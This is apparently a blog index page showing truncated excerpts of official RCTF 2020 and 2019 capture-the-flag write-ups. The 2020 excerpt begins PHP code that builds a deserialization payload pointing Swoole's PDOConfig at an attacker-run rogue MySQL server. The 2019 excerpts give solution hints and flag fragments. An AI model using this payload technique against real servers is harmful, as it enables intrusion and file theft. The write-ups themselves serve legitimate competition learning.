RCTF 2020 Official Writeup

WEB Swoole Solution Run the following code in Swoole to generate the payload: <?php function changeProperty ($object, $property, $value) { $a = new ReflectionClass($object); $b = $a->getProperty($property); $b->setAccessible(true); $b->setValue($object, $value); } // Part A $c = new \Swoole\Database\PDOConfig(); $c->withHost(‘ROUGE_MYSQL_SERVER’); // your rouge-mysql-server host & port … “RCTF 2020 Official Writeup”

Read More

RCTF 2019 Official Writeup (EN) (TBD)

Misc draw https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/draw Just draw it with Logo Interpreter, just like PC Logo / MSWLogo / Berkeley Logo and so on.. Flag: RCTF_HeyLogo disk https://github.com/zsxsoft/my-ctf-challenges/tree/master/rctf2019/disk strings encrypt.vmdk for the flag’s part 1: rctf{unseCure_quick_form4t_vo1ume Fix the vmdk: create a new VMDK with VMWare and rename encrypt.vmdk … “RCTF 2019 Official Writeup (EN) (TBD)”

Read More